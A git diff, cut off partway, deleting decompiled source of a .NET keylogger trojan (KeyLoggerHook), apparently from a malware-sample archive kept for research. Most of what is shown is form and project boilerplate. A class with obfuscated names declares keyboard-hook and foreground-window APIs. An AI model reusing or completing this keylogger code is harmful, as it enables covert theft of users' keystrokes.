this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(284, 262); - this.Name = nameof (Form2); - this.Text = nameof (Form2); - this.ResumeLayout(false); - } - - public string GeneratePassword( - long minAlpha, - long maxAlpha, - Form2.PwdCaseType alphaCase, - long minDigit, - long maxDigit, - long minOther, - long maxOther) - { - string str1 = "ABCDEFGHIJKLMNPQRSTUVWXYZ"; - string str2 = "123456789"; - string str3 = "&@#§()$%_[]"; - long num1 = checked ((long) Math.Round((double) unchecked ((float) minAlpha + Conversion.Int(VBMath.Rnd() * (float) checked (maxAlpha - minAlpha + 1L))))); - long num2 = 1; - string sDest1; - while (num2 <= num1) - { - sDest1 += Strings.Mid(str1, checked ((int) Math.Round((double) unchecked (1f + Conversion.Int(VBMath.Rnd() * (float) Strings.Len(str1))))), 1); - checked { ++num2; } - } - if (alphaCase == (Form2.PwdCaseType) this.pwdLOWER) - sDest1 = Strings.LCase(sDest1); - else if (alphaCase == (Form2.PwdCaseType) this.pwdMIXED) - { - long num3 = (long) Strings.Len(sDest1); - long num4 = 1; - while (num4 <= num3) - { - StringType.MidStmtStr(ref sDest1, checked ((int) num4), 1, Strings.LCase(Strings.Mid(sDest1, checked ((int) num4), 1))); - checked { num4 += 2L; } - } - } - long num5 = checked ((long) Math.Round((double) unchecked ((float) minDigit + Conversion.Int(VBMath.Rnd() * (float) checked (maxDigit - minDigit + 1L))))); - long num6 = 1; - string str4; - while (num6 <= num5) - { - str4 += Strings.Mid(str2, checked ((int) Math.Round((double) unchecked (1f + Conversion.Int(VBMath.Rnd() * (float) Strings.Len(str2))))), 1); - checked { ++num6; } - } - long num7 = checked ((long) Math.Round((double) unchecked ((float) minOther + Conversion.Int(VBMath.Rnd() * (float) checked (maxOther - minOther + 1L))))); - long num8 = 1; - string str5; - while (num8 <= num7) - { - str5 += Strings.Mid(str3, checked ((int) Math.Round((double) unchecked (1f + Conversion.Int(VBMath.Rnd() * (float) Strings.Len(str3))))), 1); - checked { ++num8; } - } - string sDest2 = sDest1 + str4 + str5; - long num9 = (long) Strings.Len(sDest2); - long num10 = 1; - do - { - long num11 = checked ((long) Math.Round((double) unchecked (1f + Conversion.Int(VBMath.Rnd() * (float) num9)))); - long num12 = checked ((long) Math.Round((double) unchecked (1f + Conversion.Int(VBMath.Rnd() * (float) num9)))); - string sInsert = Strings.Mid(sDest2, checked ((int) num11), 1); - StringType.MidStmtStr(ref sDest2, checked ((int) num11), 1, Strings.Mid(sDest2, checked ((int) num12), 1)); - StringType.MidStmtStr(ref sDest2, checked ((int) num12), 1, sInsert); - checked { ++num10; } - } - while (num10 <= 100L); - return sDest2; - } - - public enum PwdCaseType - { - pwdUPPER = 1, - pwdLOWER = 2, - pwdMIXED = 3, - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form2.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form2.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form2.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyApplication.cs deleted file mode 100644 index 7ca04812..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyApplication.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KeyLoggerHook.My.MyApplication -// Assembly: KeyLoggerHook, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 26063B71-F70D-47F2-A7CD-9491A0DD6717 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace KeyLoggerHook.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : WindowsFormsApplicationBase - { - private static List __ENCList = new List(); - - [DebuggerNonUserCode] - static MyApplication() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [STAThread] - [DebuggerHidden] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - lock (MyApplication.__ENCList) - MyApplication.__ENCList.Add(new WeakReference((object) this)); - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyComputer.cs deleted file mode 100644 index 270387ba..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KeyLoggerHook.My.MyComputer -// Assembly: KeyLoggerHook, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 26063B71-F70D-47F2-A7CD-9491A0DD6717 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace KeyLoggerHook.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyProject.cs deleted file mode 100644 index d1cc3841..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyProject.cs +++ /dev/null @@ -1,230 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KeyLoggerHook.My.MyProject -// Assembly: KeyLoggerHook, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 26063B71-F70D-47F2-A7CD-9491A0DD6717 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace KeyLoggerHook.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - public Form2 m_Form2; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - public Form2 Form2 - { - [DebuggerNonUserCode] get - { - this.m_Form2 = MyProject.MyForms.Create__Instance__(this.m_Form2); - return this.m_Form2; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form2) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form2); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MySettings.cs deleted file mode 100644 index 5c206949..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KeyLoggerHook.My.MySettings -// Assembly: KeyLoggerHook, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 26063B71-F70D-47F2-A7CD-9491A0DD6717 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace KeyLoggerHook.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MySettingsProperty.cs deleted file mode 100644 index 0c62c4dc..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KeyLoggerHook.My.MySettingsProperty -// Assembly: KeyLoggerHook, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 26063B71-F70D-47F2-A7CD-9491A0DD6717 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace KeyLoggerHook.My -{ - [DebuggerNonUserCode] - [StandardModule] - [HideModuleName] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/Resources/Resources.cs deleted file mode 100644 index 889908aa..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KeyLoggerHook.My.Resources.Resources -// Assembly: KeyLoggerHook, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 26063B71-F70D-47F2-A7CD-9491A0DD6717 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace KeyLoggerHook.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) KeyLoggerHook.My.Resources.Resources.resourceMan, (object) null)) - KeyLoggerHook.My.Resources.Resources.resourceMan = new ResourceManager("KeyLoggerHook.Resources", typeof (KeyLoggerHook.My.Resources.Resources).Assembly); - return KeyLoggerHook.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => KeyLoggerHook.My.Resources.Resources.resourceCulture; - set => KeyLoggerHook.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Trojan-Spy.MSIL.KeyLogger.dga.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Trojan-Spy.MSIL.KeyLogger.dga.csproj deleted file mode 100644 index 88226c38..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Trojan-Spy.MSIL.KeyLogger.dga.csproj +++ /dev/null @@ -1,56 +0,0 @@ - - - - - Debug - AnyCPU - {99939BD4-ECFF-4FE4-8E53-AC163EF4EA92} - WinExe - KeyLoggerHook - 1.0.0.0 - KeyLoggerHook - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Trojan-Spy.MSIL.KeyLogger.dga.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Trojan-Spy.MSIL.KeyLogger.dga.sln deleted file mode 100644 index 24e7e9c8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Trojan-Spy.MSIL.KeyLogger.dga.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KeyLoggerHook", "Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9.csproj", "{99939BD4-ECFF-4FE4-8E53-AC163EF4EA92}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {99939BD4-ECFF-4FE4-8E53-AC163EF4EA92}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {99939BD4-ECFF-4FE4-8E53-AC163EF4EA92}.Debug|Any CPU.Build.0 = Debug|Any CPU - {99939BD4-ECFF-4FE4-8E53-AC163EF4EA92}.Release|Any CPU.ActiveCfg = Release|Any CPU - {99939BD4-ECFF-4FE4-8E53-AC163EF4EA92}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/huhuhuiifyuhuyufuf.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/huhuhuiifyuhuyufuf.cs deleted file mode 100644 index 591ed895..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/huhuhuiifyuhuyufuf.cs +++ /dev/null @@ -1,5306 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KeyLoggerHook.huhuhuiifyuhuyufuf -// Assembly: KeyLoggerHook, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 26063B71-F70D-47F2-A7CD-9491A0DD6717 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9.exe - -using KeyLoggerHook.My; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace KeyLoggerHook -{ - public class huhuhuiifyuhuyufuf - { - private int gergegergeeger; - private short fzezeeffzezeffz; - private int hhtrthrttrrhhtrtrhrthhtrh; - private int gregrergergergerge; - private IntPtr hrhrthrthrhvcazxascby; - private string vvdfvdbdfbdfhbhgnh; - private huhuhuiifyuhuyufuf.KeyboardHookDelegate callbjhgkjhgkjhgjhgjhgjhgack; - public string tretetetergvyhyujfverg; - public string poijhyiuytiuytjuhygiuyoiuyiuyt; - private bool RChrrtthrthrthrhtrl; - private bool LkjhjhkjhlkjhlhlkCtrl; - private bool Cthfghfhfghgfrl; - private bool RShggggggft; - private bool sdfghjksdfghjkdfghjk; - private bool Shft; - private bool Alt; - private bool AltGr; - private bool RWin; - private bool Lwin; - private bool Win; - private bool CapsT; - private char Acct; - private bool Caps; - private string Acde; - private huhuhuiifyuhuyufuf.Keycodes Kc; - private string[,] AsciiT; - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - huhuhuiifyuhuyufuf.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - huhuhuiifyuhuyufuf.KBDLLHOOKSTRUCT lParam); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private void sdfghnjsdfxcgdsfdfgdcfgdfdf() - { - int num1 = (int) MessageBox.Show("KV9USBRGGJUHYJUBABHVUN9HVQLPZWNWP"); - int num2 = (int) MessageBox.Show("KLTBFIEPTTLCDZN1QVCRJGKGKYJ2CSKTSSAX"); - int num3 = (int) MessageBox.Show("YKPPHMJTR5HTUAHLQXRZFXR8"); - int num4 = (int) MessageBox.Show("JLBKT1NFGSQJIQLFVGIFRSGPWI1GNVCZKV"); - int num5 = (int) MessageBox.Show("JBKGXEKQDZJEBL73ZAKYQQNJNBPGTUKW"); - int num6 = (int) MessageBox.Show("JZKCUIXDU7ZXXHVFMQISM9"); - int num7 = (int) MessageBox.Show("RRVJQSB1UY6UPGEZF"); - int num8 = (int) MessageBox.Show("A9IJFHJHRDG5ZNZPDHFKIKRR"); - int num9 = (int) MessageBox.Show("RMVSIWUSHAMF4RCK1BSDXULWGMRUVJWJI"); - int num10 = (int) MessageBox.Show("RRJFJYMUT8RZMYZSSHDWC2BGSLEEIACYFHGCH"); - int num11 = (int) MessageBox.Show("CIBUVIEZQZ3XWBUR9"); - int num12 = 